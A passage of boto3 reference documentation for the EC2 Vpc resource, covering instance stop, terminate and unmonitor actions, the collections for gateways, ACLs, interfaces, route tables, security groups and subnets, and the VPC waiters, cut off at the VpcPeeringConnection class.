(_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = vpc.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = vpc.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.all() + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.filter( + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.all() + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.filter( + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +requested_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.all() + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.filter( + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.all() + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.filter( + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + * _(string) --_ +* **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.all() + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.filter( + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_available(kwargs_) + +Waits until this Vpc is available. This method calls EC2.Waiter.vpc_available.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_available( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +wait_until_exists(kwargs_) + +Waits until this Vpc is exists. This method calls EC2.Waiter.vpc_exists.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 1 seconds until a successful state is reached. An error is returned after 5 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcPeeringConnection](#id1257) +-------------------------------------------------------------------------------------- + +_class_ EC2.VpcPeeringConnection(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcPeeringConnection: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_peering_connection = ec2.VpcPeeringConnection('id') + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* 